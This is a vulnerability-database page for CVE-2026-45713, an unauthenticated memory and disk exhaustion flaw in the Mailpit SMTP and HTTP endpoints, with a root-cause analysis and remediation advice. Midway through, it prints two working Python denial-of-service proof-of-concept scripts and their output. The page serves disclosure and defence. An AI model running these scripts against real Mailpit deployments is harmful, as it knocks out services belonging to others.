Skip to main content

Mailpit CVE-2026-45713

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-05-19 https://github.com/axllent/mailpit GHSA-fpxj-m5q8-fphw
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 19, 2026 - 16:31 vuln.today
Analysis Generated
May 19, 2026 - 16:31 vuln.today

DescriptionGitHub Advisory

Summary

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack - or running it concurrently from multiple connections - drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes - so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code internal/smtpd/smtpd.go:107 - the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}

internal/smtpd/smtpd.go:863-877 - the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

    if s.srv.MaxSize > 0 {                                   // ← only when set
        if len(data)+len(line) > s.srv.MaxSize {
            _, _ = s.br.Discard(s.br.Buffered())
            return nil, maxSizeExceeded(s.srv.MaxSize)
        }
    }
    data = append(data, line...)                             // ← otherwise grows unbounded
}

internal/smtpd/main.go:223-248 - the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52 - HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb         = int(sys.argv[3])
# message size, MiB

s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
            b"MAIL FROM:<a@b.com>\r\n",
            b"RCPT TO:<c@d.com>\r\n",
            b"DATA\r\n"]:
    s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848
# ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120)
s.sendall(
    b"POST /api/v1/send HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000
# comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

AnalysisAI

Unauthenticated remote denial-of-service in Mailpit versions prior to 1.30.0 allows network-reachable attackers to exhaust memory and disk by submitting arbitrarily large messages through the SMTP listener on port 1025 or the HTTP /api/v1/send endpoint on port 8025. The Server.MaxSize field exists but is never populated in production code, and the JSON decoder lacks http.MaxBytesReader, so a single connection delivering a 100 MiB DATA payload inflates RSS roughly tenfold (≈25 MiB → ≈1 GiB), and concurrent connections drive the process to OOM-kill. Publicly available exploit code exists (working SMTP and HTTP PoCs are included in the GHSA advisory), though no CISA KEV listing or EPSS score was supplied with this input.

Technical ContextAI

Mailpit is a Go-based developer email and SMTP testing tool from axllent that bundles an SMTP server, a REST API, and a SQLite-backed message store. The root cause is CWE-400 (Uncontrolled Resource Consumption): in internal/smtpd/smtpd.go the DATA-reading loop only enforces a size limit when s.srv.MaxSize > 0, but cmd/ and config/ never assign that field - there is no CLI flag and no MP_SMTP_MAX_MESSAGE_SIZE env var - so it stays at Go's zero value and the slice append grows without bound. The HTTP path in server/apiv1/send.go has the parallel defect, calling json.NewDecoder(r.Body).Decode without wrapping the body in http.MaxBytesReader; the 30 s ReadTimeout is a transmission-time limit, not a byte budget. Once accepted, each message is parsed into an enmime envelope tree, indexed for search, and zstd-encoded into SQLite, producing a roughly 7-10× memory amplification, and the config.MaxMessages cap of 500 limits message count but not aggregate bytes, so disk usage can also grow into the hundreds of gigabytes. CPE pkg:go/github.com_axllent_mailpit identifies the affected Go module.

RemediationAI

Vendor-released patch: upgrade to Mailpit 1.30.0 or later, which introduces a default 50 MB per-message limit for both SMTP DATA and /api/v1/send and exposes configuration to tune or disable it (see https://github.com/axllent/mailpit/releases/tag/v1.30.0 and the advisory at https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw). If immediate upgrade is not possible, bind Mailpit to 127.0.0.1 instead of [::] so the SMTP (1025) and HTTP (8025) ports are not reachable from other hosts, accepting that this breaks any legitimate remote SMTP test traffic; alternatively, place Mailpit behind a reverse proxy or firewall that enforces a body-size cap on inbound connections to both ports (with the trade-off that proxies typically do not inspect SMTP DATA boundaries, so an SMTP-aware relay or a per-connection byte limit at the network layer is preferable). Apply per-process memory limits via systemd (MemoryMax=) or container cgroup limits to convert an OOM-kill on the host into a contained restart, and constrain the SQLite data directory to a dedicated filesystem with a quota to bound the secondary disk-exhaustion vector.

Share

CVE-2026-45713 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy